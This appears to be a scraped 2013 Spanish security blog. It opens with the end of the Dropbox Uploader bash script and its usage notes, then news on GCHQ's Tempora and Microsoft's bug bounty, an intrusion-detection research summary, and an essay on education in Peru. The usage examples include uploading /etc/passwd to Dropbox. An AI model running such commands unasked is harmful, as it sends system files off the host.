if [ -z "$FILE_SRC" -o -z "$FILE_DEST" ]; then
echo -e "Error: Please specify a valid source and destination file!"
remove_temp_files
exit 1
fi

db_move "$FILE_SRC" "$FILE_DEST"

;;

mkdir)

MKDIR_DST=$2

#Checking MKDIR_DST
if [ -z "$MKDIR_DST" ]; then
echo -e "Error: Please specify a valid destination directory!"
remove_temp_files
exit 1
fi

db_mkdir "$MKDIR_DST"

;;

list)

DIR_DST=$2

#Checking DIR_DST
if [ -z "$DIR_DST" ]; then
DIR_DST="/"
fi

db_list "$DIR_DST"
;;

unlink)
db_unlink

;;

*)
usage
;;
esac
remove_temp_files
exit 0
#################################################################################

Uso:

./dropbox_uploader.sh COMMAND [PARAMETERS]...

[%%]: Required param
<%%>: Optional param

Ejemplos:

./dropbox_uploader.sh upload /etc/passwd /myfiles/passwd.old
./dropbox_uploader.sh upload /etc/passwd
./dropbox_uploader.sh download /backup.zip
./dropbox_uploader.sh delete /backup.zip
./dropbox_uploader.sh mkdir /myDir/
./dropbox_uploader.sh upload "My File.txt" "My File 2.txt" (File name with spaces...)
./dropbox_uploader.sh share "My File.txt"

Su Utización por Primera vez:
Lanzado el script por primera vez nos pedira que nos conectemos a la direccion web:
https://www2.dropbox.com/developers/apps

introduce en la url proporcionada por el script (en cualquier navegador) y autenticate en Dropbox
crea una aplicación introduciendo los datos que te ofrece el script .
brindados la autenticación y los permisos procedemos a introducir al script el "app key" y el "app secret" y así accederá sin problemas a Dropbox luego tendras que escoger dos opciones: "a" (acceso a un fichero especifico ) o "f" (acceso full a Dropbox) y finalmente tendremos que introducir otra url a nuestro navegador y brindarle los permisos. Todos estos pasos se dan sólo una única vez.

Agradecimiento a : Andrea Farizi, por brindar ala comunidad un excelente script!
fuente: https://github.com/andreafabrizi/Dropbox-Uploader

La inteligencia británica espía todas las comunicaciones mundiales

2013-06-24T01:53:00.002+02:00

Derivado del escándalo PRISM y de las mismas fuentes que lo destaparon, el diario The Guardian asegura que la agencia de inteligencia británica GCHQ tiene monitorizadas las mayores redes troncales de fibra óptica por las que circulan la mayoría del tráfico telefónico y de Internet mundial.

La operación de ciberespionaje británico, con nombre en código ‘Tempora’, incluye interceptores en los cables submarinos trasatlánticos bajo conocimiento y acuerdo con las empresas comerciales que construyen y operan los claves.

Según las fuentes, el alcance de Tempora es gigantesco, incluso mayor que el de la operación de vigilancia electrónica masiva llevada a cabo por la NSA estadounidense (aunque comparten información) bajo PRISM y que ha salpicado a las grandes tecnológicas del país como Google, Apple o Microsoft.

La cantidad de información a la que tendría acceso Tempora sería enorme ya que tendría monitorizado 200 cables de fibra por los que pasan 10 gigabits de datos por segundo.

Unas 850.000 empleados y contratistas públicos y privados tendrían acceso a esta enorme base de datos, aunque los informes de alto secreto serían de 750 analistas de GCHQ y NSA que trabajan específicamente en el filtrado de información entre llamadas, correo electrónico, documentos, redes sociales y todo lo que se mueva en Internet.

La información, con todos los indicios de ser cierta al igual que PRISM, reaviva el debate de hasta dónde debe alcanzar el ciberespionaje en aras de la seguridad y si es lícito una vigilancia generalizada y sin control de todas las redes de telecomunicaciones y de Internet, en un grave atentado a la privacidad de los ciudadanos.

Ironías del destino, Edward Snowden, filtrador de la información, acaba de ser acusado formalmente de espionaje por el gobierno de Estados Unidos.

autor: Juan Ranchal

http://muyseguridad.net/2013/06/22/espias-britanicos-comunicaciones/

Microsoft will pay hard cash to coders who tell the company about the software holes

2013-06-20T17:30:00.001+02:00

Microsoft will pay coders as much as $11,000 for discovering Web browser defects before hackers can serve up viruses through flawed dot-gov and other websites, the software giant announced on Tuesday.

Joining the "bug bounty" trend begun by Google and Mozilla, Microsoft will crowdsource error detection starting June 26, company officials said.

The firm wants to hear about "critical vulnerabilities” that affect Internet Explorer 11 Preview on Microsoft's new operating system, Windows 8.1 Preview. The direct cash payments for finding Internet Explorer defects only will be offered for one month, with a July 26 cutoff for submissions, according to the company's website.

"Learning about critical vulnerabilities in Internet Explorer as early as possible during the public preview will help Microsoft make the newest version of the browser more secure," officials explained.

In May researchers identified a "watering hole" assault on the Labor Department's “Site Exposure Matrices” website that took advantage of an undetected vulnerability in certain IE browsers. The database lists nuclear-related illnesses linked to federal facilities and toxicity levels at each location that might have sickened employees developing atomic weapons. Watering hole attacks exploit glitches in websites to implant malicious software that then infiltrates the computers of people visiting the sites.

Under Microsoft’s program, $150,000 will be the top prize for programmers who discover and plug a hole in the new Windows operating system. Coders who discover "truly novel exploitation techniques against protections" in Windows 8.1 Preview will collect $100,000. Microsoft will shell out an additional $50,000 for "defensive ideas" that protect users from these threats.

Researchers at security firm Kaspersky Lab on Tuesday noted that for years Microsoft said it didn't need a bug bounty program,

"Microsoft security officials say that the program has been a long time in development, and the factor that made this the right time to launch is the recent rise of vulnerability brokers. Up until quite recently, most of the researchers who found bugs in Microsoft products reported them directly to the company. That’s no longer the case,” according to anentry on the lab’s blog.

Vulnerability brokers include researchers who sell "zero day" viruses that wriggle through previously unknown software flaws.

Chris Wysopal, chief technology officer at Veracode, told the lab, “Mitigation bypasses are very valuable on the open market," adding, "Microsoft is clearly trying to steer that research to them so they can make defensive improvements."

Wysopal said, “This should pay for itself as it would cost much more than the bounty to fix these in a patch. They should do this for all their beta products.”

reference: http://www.nextgov.com/cybersecurity/2013/06/11000-anyone-who-spots-internet-explorer-bug-dot-gov-hackers/65192/?oref=ng-channeltopstory

Pero ahora la pregunta es: realmente será de ayuda dicha propuesta, si sabemos muy bien que un " Zero Day " en el "black market" llegan a medio millón! ... en fin es una medida en cierta forma tentadora

Modelos de inteligencia computacional aplicados al diseño e investigación de detección de intrusos

2013-06-19T13:32:00.001+02:00

El imparable crecimiento de internet en el mundo, y la integración de los diversos sistemas informáticos conectados a la red de Internet han hecho que la Seguridad de la Información alcance un papel de suma importancia actualmente. Desde el momento en que un equipo (bien un ordenador, una tableta o un “smartphone”) se conecta a Internet, se abren toda una serie de posibilidades; sin embargo, éstas traen consigo nuevos y en ocasiones complejos tipos de ataques. Para que las informaciones sean protegidas de acciones maliciosas, es necesario hacer uso de herramientas especializadas en la protección de datos e informaciones, como antivirus, antispam, firewall, IDS, IPS, balanceadores de cargas, control de accesos, sistemas criptográficos tipos VPN y entre otras. Un sistema que auxilia y automatiza la protección de las informaciones es el sistema de detección de intrusos (IDS) que tiene como intensión de detectar el uso no autorizado, ataques en ordenadores o en redes de ordenadores. Sin embargo, algunas funcionalidades de esos sistemas son limitadas, tales como la detección, el análisis y la respuesta instantánea de un nuevo ataque (Zero day attack).

La aplicación de técnicas basadas en Inteligencia Artificial para la detección de intrusos (IDS) fundamentalmente las redes neuronales artificiales (ANN), están demostrando ser un enfoque muy adecuado para paliar muchos de los problemas que se dan en esta área. Sin embargo, gran volumen de información que se requiere cada día para entrenar estos sistemas, junto con la necesidad exponencial de tiempo que requieren para asimilarlos, dificulta enormemente su puesta en marcha en escenarios reales.

Ante esta situación me propuse diseñar un sistema capaz de detectar situaciones anómalas en la red, basado en modelos de inteligencia computacional e instrumento complementario para visualizar la estructura interior de un conjunto de datos asociados al tráfico de redes, se aplicarán diversas técnicas EPP (Exploratory Proyection Pursuit) como PCA (Principal Component Analysis), MLHL (Maximum Likelihood Hebbian Learning) y CMLH (Cooperative Maximum Likelihood Hebian Learning), para analizar la estructura interna del conjunto de datos y de este modo identificar comportamiento anómalos asociados a situaciones de riesgo en la red (CORCHADO, HERRERO, 2013).

Una vez definida la propuesta: “modelos de inteligencia computacional aplicados al diseño e investigación de sistema de detección de intrusos”; procedí a la realización de la fase de experimentación y de análisis de los resultados, por tal motivo me centré en la fase de análisis, debido a que la mencionada experimentación está igualmente orientada hacia dicha cuestión. Para las mencionadas pruebas, el autor en lo posible ha tratado de considerar un escenario real donde nuestro análisis no sólo se centrará en conocidos puertos, protocolos, direcciones IPV4, etc. sino que analizaremos todo el tráfico de datos generados por la red (los datos capturados fueron de 6 semanas llegando acumular un aproximado de 600 gb de tráfico de red), en donde se han hecho un sin número de pruebas de ataques tanto internos como externos suplantando inclusive algunas IP de los equipos de la red (señuelos), pero el mayor énfasis de estas pruebas cayó en los ataques internos (localmente) en vista que con las pruebas realizadas hemos podido ver que muchos de estos ataques son más difíciles de detectar y se confunden dentro del tráfico normal de la red lo cual muchas veces pasan desapercibidas por el administrador de redes. En la séptima edición del informe anual de seguridad en entidades financieras realizado por Deloitte[84], en la que han participado más de 350 entidades financieras de todo el mundo, 19 de ellas españolas y que analiza el estado de estas compañías en materia de seguridad de la información; concluyen que los “ataques internos” y “las “fugas de información” son, por tanto los problemas más detectados en las entidades. Las proyecciones de PCA, MLHL y en especial la de CMLHL permiten identificar situaciones anómalas, muchas de estas situaciones dependiendo de dónde proceda el ataque tendrán una particularidad que se diferenciará al del tráfico normal pudiendo ser la concentración de paquetes, direcciones no paralelas, el distanciamiento que tienen con el conjunto de paquetes y muchas más particularidades que se reflejaron en la experimentación y análisis nos dan indicios de situaciones anómalas, lo cual nos permite su identificación.

En la Figura 1.1 se puede apreciar el scatter plot generado por la PCA, enfrentando las m (número de neuronas de salida) primeras componentes (columnas) del conjunto de datos entre sí. Dicha visualización representa el tráfico normal de la red por un tiempo de 10 minutos.

Figura 1.1 Scatter Plot, del tráfico normal.

En la Figura 1.2 apreciamos el tráfico normal de la red en 3 dimensiones.

Figura 1.2 Tráfico normal de la red en 3D.

En la Figura 1.3 apreciamos la proyección PCA en 2 dimensiones, del segmento simple(S₁) conteniendo situaciones no anómalas (tráfico normal de la red)

Figura 1.3 Visualización del Segmento simple-S₁.(PCA)

A continuación visualizaremos el segmento simple (S₉), en total tienen una duración de 10 minutos aproximadamente, donde el tipo de ataque fue una denegación de servicio que consistió en la inundación de paquetes UDP flags por un tiempo de sólo 8 segundos. Apreciaremos la proyección 2D del PCA, MLHL y CMLHL respectivamente. El tamaño de los paquetes, que son diferenciados con el color magenta (S₉) del tráfico normal; vemos que toman un direccionamiento continuo contrario al del tráfico normal y es debido a que dicho ataque es del tipo spoofing en la cual la identidad del atacante es suplantada por un sin número de direcciones IPs (direcciones no locales).

Figura 1.4 Visualización del Segmento simple-S₉. (PCA)

Figura 1.5 Visualización del Segmento simple-S₉. (MLHL)

Figura 1.6 Visualización del Segmento simple-S₉. (CMLHL)

De todos los experimentos presentados anteriormente, se ha podido ver que los ataques realizados localmente muchas veces se confunden con el del tráfico normal, pero la dirección, la dimensión y la localización de los paquetes las distinguen de lo normal. Así mismo aquellos ataques realizados desde el exterior de nuestra red son representados como líneas no paralelas a la dirección en la cual el tráfico normal se desarrolla. Por lo tanto no es fácil el establecer exactamente que ocurre en un momento dado; es en este preciso instante donde el análisis cumple un papel sumamente importante por tal motivo nos apoyamos en uno de los paradigmas del presente estudio, que es el estudio de casos (CBR), donde el análisis incorpora dos comportamientos diferentes que son: “aprendiendo” y la “explotación”.

Los resultados del estudio de pruebas demuestran la capacidad de generalización, porque muestra "el modelo visual" de ataques nuevos incluso si el modelo neuronal no ha afrontado tales ataques antes. Debería ser notado que los atacantes emplean estrategias muy diferentes para poder pasar inadvertidos en la red haciendo uso de diversas técnicas como: la extensión de los paquetes de ataque con el tiempo o reduciendo la cantidad de paquetes en un ataque, el empleo de señuelos, etc; harán que se visualicen menos claramente dichos ataques, pero con el empleo del CMLHL se pueden identificar dichos ataques con mayor efectividad como ha sido mostrado en las figuras anteriormente mostradas.

Comparando CMLHL con otros modelos no supervisados, podemos concluir que PCA y MLHL en la identificación de situaciones anómalas son menos eficientes y eficaces. Por tal motivo CMLHL será el modelo a ser utilizado para próximos proyectos de investigación relacionados al campo de ID. Próximamente en: http://peromatech.com, http://peromatech.wordpress.com

referencias:

[1] CORCHADO, Emilio; HERRERO, Álvaro. RT-MOVICAB-IDS: Addressing real-time intrusion detection. Spain, 2013. University of Salamanca.

Educación y conocimiento como valor agregado en la economía

2013-06-19T01:19:00.000+02:00

Quizás resulte extraño la siguiente publicación en un blog totalmente técnico en Seguridad de la Información, pero considero que me ha sido sumamente inspirador el presente artículo y de la cuál es dirigido a mis compatriotas esperando que muchas de estas líneas que leerán le sean de inspiración y fuerzas para el logro de ese ideal que como peruanos deseamos y lucharemos por lograrlo.

Los “expertos” dicen que los maestros no saben lo que deben saber. Pero, ¿qué deben saber? No lo dicen, porque tampoco lo saben. Lo intuyen pero no lo saben; actúan en base a corazonadas. Necesitamos conocer cuál es la clave de una educación moderna o seguiremos defendiendo la educación arcaica, imaginándola moderna o postmoderna.

Cuando tenemos entre las manos uno de los tantos teléfonos celulares u observamos maravillados los artefactos eléctricos que se exhiben en los mejores shopping centers, o cuando pensamos en la economía de los países tecnológicamente desarrollados, por ejemplo en la nanotecnología para realizar delicadísimas y exitosas operaciones quirúrgicas; en los satélites espaciales, o en las mega—máquinas, con las cuales se puede trasladar en un día una montaña de un lugar a otro; o bien los satélites y los vuelos espaciales; la cibernética y la gran variedad de sofisticados objetos como los radares o los aviones teledirigidos; y, en fin, el perfeccionamiento vertiginoso, incesante, infinito de los artefactos más vinculados o dependientes de la tecnología digital y, viendo que en los mismos términos, avanza la división del trabajo, nos preguntamos: ¿Por qué valen lo que cuestan estos objetos cada día más sofisticados? ¿Por qué tanto cambio? ¿Cuál es el secreto de todo esto? ¿Magia o milagro? La respuesta a la primera interrogante puede ser muy variada, podría decirse —por ejemplo— que lo que determina su valor es la belleza del objeto, su forma o su función. Y por supuesto, que esas respuestas son correctas, porque nadie pagaría lo que paga por un objeto que no le sirviera o que habiendo otros más bellos, funcionales y, a la vez baratos, eligiera el menos presentable, caro y técnicamente el menos acabado. Pero, ¿es eso lo que determina finalmente el valor de estos objetos? El valor de estos objetos lo determina el trabajo humano, porque son hechos por seres humanos. A estos objetos no lo produce la naturaleza. Si todos esos maravillosos objetos fueran producidos y abundantemente como el oxígeno por la naturaleza y más bien fabricaríamos oxígeno para vivir, ¿costarían lo que cuestan? La respuesta, obviamente es no. Entonces surge otra pregunta: ¿Cualquier persona o grupo de personas puede producir estos u otros objetos semejantes? Es obvio que no. Las personas que lo producen son seres con una preparación especializada. Se trata de seres humanos que representan lo más avanzado del conocimiento, de la creatividad y del ingenio humano.

Y ¿cómo es que estos seres humanos han llegado a tener esa pericia? ¿Cómo es que llegaron a tener esos conocimientos? Nacieron sabiendo, ¿o tuvieron que aprender a fabricarlos? Esos conocimientos se aprenden. Los individuos nacemos con un cerebro potencialmente capaz de aprender a hacer todo cuando ahora se hace y lo que en el futuro se hará, casi como si fuese obra de la magia o milagro. El aprendizaje es un proceso y la enseñanza corre a cargo de la educación.

La naturaleza pone lo que se ve, lo tangible. La Educación aporta los elementos intangibles. Si vemos un televisor funcionando, la naturaleza da la materia tangible, aquello que tiene tamaño, peso, color, olor, aspereza o suavidad, aquello que se puede observar mediante los sentidos. La verdad es que incluso en esto, el hombre ya ha introducido conocimiento y talento, pues lo tangible no es puramente naturaleza, sino naturaleza en la que el factor subjetivo, el hombre mediante su intelecto incorporado está presente. Es la mente humana objetivada con la ayuda de la naturaleza. O es la naturaleza moldeada por el hombre. Por eso cuando alguien rompe uno de estos objetos, suele justificarse diciendo que ha roto una cosa. Una cosa que es la vez el hombre objetivado, al parecer cosificado, hecho cosa, evidenciado a través de una cosa, pero no cosa pura, naturaleza pura. Y quien la compra obviamente está inserto en el mundo de las mercancías y para obtener el dinero con el que esa cosa compra, tiene que haberse primero objetivado en otras cosas o animales a los que cría, los debe haber vendido y mediante esa mercancía universal que es el dinero se enfrentan a los individuos objetivados en las cosas que los demás venden. Por eso, no diremos exactamente que la naturaleza aporta todo lo que podemos ver, porque lo tangible es ya naturaleza transformada por el hombre. Y si un televisor transmite imágenes de lo que en este momento sucede en un continente hasta otro continente, o si existen cámaras que nos permiten ver lo que hace un satélite espacial a muchos miles o millones de kilómetros de la tierra, esa capacidad lo da de manera exclusiva el hombre. La naturaleza solamente pone aquello que sirve de soporte, o envase. Nada más. Si un teléfono celular ayuda a recibir la voz de una persona y transforma en un lenguaje numérico, o sea digital, y lo transporta de ese modo por muy largo que sea el camino. Y cuando el receptor presiona una tecla para escuchar la llamada y su equipo celular transforma esos números nuevamente en la voz que salió del emisor, todas las potencialidades de estos objetos los ha puesto el hombre con su inteligencia, mediante un largo proceso de enseñanza—aprendizaje que es la educación.

De este modo, unos trozos de naturaleza —que por sí mismos solamente cuestan lo que se ha invertido en extraerlos y transportarlos—, se convierten en objetos con posibilidades que parecen ser fruto de la magia o milagro, la verdadera magia o milagro es la capacidad humana, la mente habilitada mediante la Educación.

Los conocimientos, las habilidades, las destrezas son producto de la Educación. Claro que cuando hablamos de educación, hay que aclarar que todo el mundo educa. Porque no solamente las instituciones formales educan. Educa también la familia, el grupo de amigos, el vecindario, la iglesia, el servicio militar. Sin proponérnoslo todos somos educadores.

Pero ¿qué clase de educación imparte quien no tiene título profesional de educador y, finalmente, ningún título profesional? Transmite los conocimientos y la cultura de su colectividad. Vale decir, transmite los hábitos, actitudes, lenguaje articulado y gestual, mitos, leyendas, conocimientos climatológicos, modos de relacionarse con las demás personas, con las autoridades. Transmite la cultura popular. Esta cultura popular crea un ambiente muy especial que sirve como trasfondo o back ground, sobre el que se desarrolla la educación formal. Pero no alcanza para producir objetos tan extraordinarios como los que hemos señalado.

Cada vez que uno ve en el mercado un objeto cualquiera hay que recordar que esos objetos pueden venderse y comprarse porque son útiles. No todos los objetos útiles son iguales entre sí, por el simple hecho de ser útiles. Sabemos que no es así. Cuando vamos de compras o simplemente a curiosear, tratamos de informarnos cuáles de ellos son los mejores. Tenemos siempre la idea de que entre los objetos que cumplen la misma función unos son mejores que otros. Además nos damos cuenta que cada día aparecen en los hipermercados objetos más bellos, de mejor calidad y muchas veces nos quedamos con la angustia de no poder comprarlos. Cuando el dinero no alcanza compramos alguno de los que no cuestan muy caro y nos quedamos con la angustia de no haber podido comprar el mejor. Y si compramos el mejor entonces no solamente sentimos satisfacción, sino que incluso hacemos alguna ostentación ante los que no tienen dinero como para comprar uno igual. Pero lo que nosotros rara vez nos ponemos a pensar es cómo, de qué manera, los que los producen han podido hacerlo. Simplemente nos conformamos con pensar o decir que estos maravillosos objetos lo han hecho las grandes empresas. O sea que sin darnos cuenta estamos personificando a las instituciones, vale decir las vemos como personas y simultáneamente obviamos a las personas naturales. Al pensar así, curiosamente pasamos por alto el hecho de que las grandes corporaciones, las grandes industrias están compuestas por seres humanos y quienes realmente hicieron esos a veces codiciados objetos son seres humanos reales, personas de carne y hueso. Para poder hacer esos objetos obviamente tienen un entrenamiento especial. Han sido capacitados para hacerlos. Han tenido que aprender hasta tener la posibilidad de producirlos. Ese aprendizaje significa que alguien hizo el papel de profesor mientras ellos cumplían el rol de alumnos. Entre quienes participan en el proceso productivo de esos maravillosos objetos intervienen cadenas generalmente muy largas de personas, algo de lo que nosotros ni siquiera atinamos a imaginar. Podemos pensar en los que usan las manos. Podemos imaginar muchas manos trabajando. Pero antes que se empleen las manos están los que ponen la mente, la teoría, el conocimiento. Aunque la tendencia es a que las manos que hagan los objetos sean las de los robots, porque el hombre tiende cada vez más a reemplazar el uso de las manos por el uso de la mente. Esto sucede, por supuesto, ahí donde la educación sirve para eso, para capacitar la mente no solamente para deletrear algunas palabras o saber firmar — -como se decía antes— sino para producir. La mente humana ha descubierto las leyes de la Física. También descubrió y hace avanzar la matemática, así como la química y demás ciencias. Esto sucede en los países donde la educación está orientada a capacitar a la gente para asimilar conocimiento y para aplicar esos conocimientos a la economía y también para producir más conocimientos. ¿Nuestra educación tiene esas características? ¿En qué se parece nuestra Educación a esa clase de educación? O, ¿en qué se diferencia? ¿Qué enseñamos los maestros del Perú? ¿Qué clase de preparación nos dieron nuestros catedráticos en las universidades o nuestros profesores en los institutos? Y ¿en qué nos capacitaron los que dijeron que nos estaban capacitando, por ejemplo, a través de PLANCAD? ¿Nos mentalizaron para pensar como profesores que deben enseñar a investigar, o incrementar nuestros conocimientos? ¿Dedicaron siquiera algún tiempo en hacernos pensar en cómo progresa el mundo? O ¿es que distrajeron nuestro tiempo simplemente en hacernos jugar a la ronda como si los maestros fuésemos niños en edad preescolar y con un cerebro todavía pre lógico? No enseñaron a dialogar, a leer, o ¿nos dijeron que lo único que interesa es la “práctica”, que hay que sentir vergüenza por la capacidad que nos ha dado la naturaleza al haber preparado nuestro cerebro para crear símbolos y transformar los conocimientos en palabras gramaticalmente ordenadas para intercomunicarnos mediante ese proceso que se conoce como socialización? ¿Nos enseñaron a pensar en la clase de socialización que es la Educación?

La Educación debe servir para hacer pensar. Pensar es otra gimnasia que necesita el cerebro para que no se atrofie. Porque el cerebro también se atrofia si es que no funciona. La calidad y cantidad de pensamientos que nos habituamos a tener alcanza un techo. Si amarramos nuestra mente y no la liberamos no va a crecer, el techo puede ser muy bajo. Nada existe en la naturaleza por gusto. Si no caminamos nos descalcificamos, sufrimos de osteoporosis. Nuestros huesos se vuelven frágiles y se pueden quebrar en cualquier circunstancia, porque nuestros huesos están diseñados para que actúen como respuesta a la ley de la gravedad. Si lo dejamos por mucho tiempo en reposo vamos perdiendo calcio sistemáticamente hasta que puede sobrevenir la osteoporosis. Una mala educación nos limita en el ejercicio físico y sobre todo nos limita en el ejercicio de la mente y lo más grave es creer que algunas dinámicas físicas cumplen su papel en lo físico y reemplazan exitosamente a las dinámicas mentales. Así como hay atletas que superan en salto alto las dos metros veinte, así también hay científicos que han hecho posible que los hombres salten hasta las estrellas, mientras en otros contextos se limita a formar a la gente para que siga trabajando con la hoz y el martillo o con el pico y la pala, o bien con lachaquitaclla.

La educación es funcional a cada época histórica. En la antigüedad los nobles se educaban para ser los mejores guerreros. Algunos como Alejandro Magno, tenía además una visión del mundo heredado de Aristóteles, su maestro. Si eran débiles y poco visionarios fácilmente podían perder el reino. En otro momento bastaba ser un buen artesano. Incluso en pleno siglo XX en el Perú bastaba saber comprar en las tiendas de los mayoristas algunos objetos, pararse a ofrecerlos al detalle en las puertas de las grandes tiendas o de los supermercados, pero ahora, desde que se implementaron los hipermercados, ese conocimiento es inútil, porque los hipermercados son más competitivos en cuanto a calidad, presentación, precio, confort, relax y seguridad, mientras que a la informalidad le rodeaba un ambiente tenso.

La educación debe tomar en cuenta las tendencias sociales, culturales, económicas, científicas y tecnológicas de cada momento de la historia. No es suficiente proponer la educación asociada al trabajo si es que no se sabe cómo es el trabajo y la economía en una época histórica determinada.

Hay que analizar cómo aparecieron las herramientas que se utilizan para producir los demás objetos. ¿Los dio la naturaleza? ¿Los hizo el hombre? Si el hombre los hizo, ¿cómo los hizo, de qué manera, que materiales primas usó y a parte de sus manos qué otros elementos empleó? ¿Bastaba tener conocimientos artesanales para hacerlo? ¿Necesitaba haberse formado simplemente en un CENECAPE1? ¿Exigía una formación propia de las universidades? ¿De qué clase de universidades? En el Perú, ¿formamos profesionales para producir teléfonos celulares, automóviles, tractores, satélites espaciales, computadoras?

¿Formamos profesionales capaces de producir esos objetos? Si las instituciones creadas para formar profesionales no producen esa clase de profesionales, ¿existe alguna otra institución que los forme aquí en el Perú? ¿Es nuestra educación igual, parecida o de la misma calidad que la educación que se imparte en los países que producen tecnología de punta? ¿Qué tipo de educación se necesita para producir esos objetos tan complejos? Desde que surgió la revolución industrial, los países que luego se conocieron como industrializados orientaron sus universidades para que tengan la competencia de formar expertos en producir objetos propios de la industria. Y la educación previa a la universitaria es de una estándar tal que puede eslabonarse fácilmente con la educación universitaria. Los norteamericanos en el 2005 hicieron un experimento: colisionar una nave espacial con un cometa. Esa nave espacial se desplazaba a una velocidad de 37,000 kilómetros hora. ¿Qué clase de conocimientos se necesita para producir esas sofisticadas naves espaciales? ¿De dónde salieron los profesionales que producen esas naves? Fueron formados por las universidades, pero ¿por las nuestras? ¿O como las nuestras? Y, al ingresar a las universidades que les dotaron de las competencias que tienen, estudiaron primero en colegios, pero ¿no como los nuestros? Nosotros también producimos herramientas, es cierto. Producimos picos y palas, por ejemplo. ¿Qué tienen en común un pico o pala con un tractor? Sirven para las labores agrícolas y los tres han sido producidos por el ser humanos y para eso se ha invertido conocimiento. Para hacer el pico y la pala el hombre debía tener cuando menos la cultura del hombre de la Edad de Hierro. Pero para producir tractores computarizados el conocimiento tiene que ser cualitativamente superior, muy superior. Sin educación aunque sea informal, el primer ser humano que descubrió el hierro no hubiese trasmitido ese conocimiento a las generaciones futuras. Pero para producir el tractor se necesitan no solamente hornos más complejos, sino el dominio de la matemática y de la física moderna. Esos conocimientos los da la Educación formal. Como se advierte claramente, una cosa es educar para producir picos y palas y otra es hacerlo para producir tractores. Y más diferente es todavía producir tractores que llevan componentes digitales, vale, decir elementos electrónicos del tipo de las computadoras. Para decirlo de otro modo, existe una distancia histórica muy considerable entre la Edad de Hierro y la Revolución Industrial. Y de esta revolución a la revolución digital existe otra etapa histórica. Y a propósito ¿estamos pensando en qué estado se encuentra nuestra educación? ¿Qué clase de conocimientos trasmitimos mediante la educación? ¿Formamos para ser productores de la Revolución Industrial o de la Edad de Hierro? Si ya produjésemos de acuerdo a la revolución industrial está claro que nos faltaría una etapa histórica para ingresar a la revolución digital. ¿Hemos llegado cuando menos a la revolución industrial que ya tiene más de dos siglos, o nos hemos quedado en la Edad de Hierro que tiene miles de años de antigüedad? Consumimos objetos modernos, ¿pero también los producimos? ¿Formamos profesionales para elaborar esos productos modernos? ¿Nuestra educación está a la altura de la educación de avanzada mundial? ¿O es que en la práctica nos hemos quedado casi en la Edad de Hierro? Recordemos que entre ambas maneras de producir existen miles de años de distancia. Porque suele existir un grave error, creer que estamos en una Era determinada de la historia tomando en cuenta lo que consumimos, cuando el verdadero criterio debe partir de lo que producimos. Mejor dicho con qué clase de conocimientos producimos. Nuestra educación en qué estado de evolución se encuentra, ¿qué enseñamos a producir?

Si hay que tomar en cuenta el estado histórico de los objetos que consumimos, que sirva para comparar qué tipo de educación compramos en los objetos que compramos y qué clase de educación vendemos a través de las mercancías que exportamos. Esto es fundamental. Es algo que no se entiende en nuestro país, como tampoco se entiende en los países vecinos, en Ecuador y peor aún en Bolivia.

Cuando compramos un televisor ¿qué compramos? ¿Compramos plásticos? ¿Compramos piececitas de cobre? ¿Compramos algunos tornillos de hierro? ¿Qué es lo que compramos realmente? Compramos conocimiento. Eso es lo que compramos. Mejor dicho las potencias nos venden su educación introyectada en sus mercancías. Y el grado de desarrollo de la educación es inversamente proporcional a la cantidad de naturaleza que se invierte; cuanto más componente mental encierran los productos, menos materia prima se invierte en ellos. Como bien lo indica la propaganda de una marca de televisores, los antiguos eran grandes, toscos y muy pesados. Estos televisores se han ido reduciendo en espesor y peso hasta convertirse en una pantalla plana. En esa pantalla plana en que se reduce el televisor hay cada vez mucho menos materia prima, pero más componente mental. La tendencia es a que la materia prima se reduzca prácticamente a la nada. Y ¿con qué se reemplaza esa materia prima que se deja de usar para que el televisor exista? Se lo sustituye con conocimiento, o sea con derivados de la educación. La tendencia de la industria moderna es a la sustitución casi total de las materias primas por el conocimiento. Dicho de otro modo, la naturaleza cede su lugar al conocimiento, a los derivados de la educación. El ejemplo más extraordinario es la nanotecnología, esa industria que consiste en producir máquinas microscópicas (como las que se usan para realizar operaciones quirúrgicas dentro del cuerpo humano, sin necesidad de abrir heridas). Estas máquinas forman parte de la nanotecnología y no miden ni siquiera un milímetro, sino millonésimas de milímetro.

Aquí en Perú, nuestro país, como en Bolivia, exhibimos como mayor orgullo las materias primas que existen en el suelo o subsuelo de nuestros territorios. Mostramos lo que la naturaleza ha hecho por nosotros, pero ¿tenemos algo maravilloso que hayamos hecho los hombres a favor de de la naturaleza y de nuestra economías? Para decirlo de otra manera, mostramos la obra de la naturaleza, riqueza de la que nos apropiamos por vivir en estos territorios. ¿Cuándo estaremos preparados para mostrar las maravillas que somos capaces de producir? ¿Cuándo estaremos preparados para sustituir la vanidad que mostramos al hablar de la riqueza que nos ha legado la naturaleza por la que produzca nuestra mente? Estamos mentalizados para privilegiar una economía parasitaria. ¿Y si la naturaleza no nos hubiese dejado nada o mucho menos de lo que nos ha legado qué haríamos para vivir? ¿Y qué haremos si la herencia de la Madre Naturaleza se acaba? ¿Qué harán, por ejemplo, los países árabes cuando se les acabe el petróleo? ¿Qué hará Venezuela?

Esta mentalidad forma parte de una cultura que fomenta el inmovilismo, inflama la imaginación, la esperanza en soluciones milagrosas o mágicas. Y de paso fomenta el ocio, la pobreza y la pérdida de la autoestima. No se ve la riqueza en las potencialidades del hombre, sino que se despierta la ambición por los tesoros escondidos que se expresan en tantos mitos. Este imaginario coincide con la de algún personaje famoso de la televisión peruana que aparentaba ante el mundo poseer una riqueza inagotable, nietas bien establecidas en Miami, pero hijos sin trabajo conocido, hasta que él murió y los hijos quedaron en la indigencia porque no se habían preparado para vivir de su trabajo. Así se fomenta una idea falsa, aquella de la herencia inagotable. Luego cuando la fortuna se acaba, o cuando el árbol genealógico se extiende y la herencia tiene que dividirse cada vez en mayor número de herederos, la parte alícuota, o sea aquella que corresponda a cada individuo, resulta insignificante. Si miramos el conjunto la suma puede parecer extraordinaria. Perú exportó en minerales entre junio del 2004 y junio del 2005 la cifra récord de unos seis mil millones de dólares. Traducidos a nuevos soles representa alrededor de 20 mil millones. De esta manera si nuestro país tuviera 20 millones de habitantes le correspondería aproximadamente mil soles anuales, cerca de noventa soles mensuales a cada habitante. Pero Perú no tiene 20 millones de peruanos sino cerca de treinta millones, de manera que lo que correspondería a cada habitante seria un tercio menos, o sea algo así como sesenta soles mensuales. Esta cifra sería real, sin embargo, si los costos de extracción de los minerales fuesen igual a cero. Si nadie gastara en las carreteras de acceso hasta las minas. Si el coste de las máquinas con las que se explotan los minerales fuese también igual a cero soles. Si no costaran nada las viviendas donde habitan los trabajadores mineros. Si las empresas que explotan las minas no gastaran en escuelas o en hospitales y si los trabajadores trabajaran gratis. Además si los capitales fuesen nuestros o si fueran prestados sin pagar intereses.

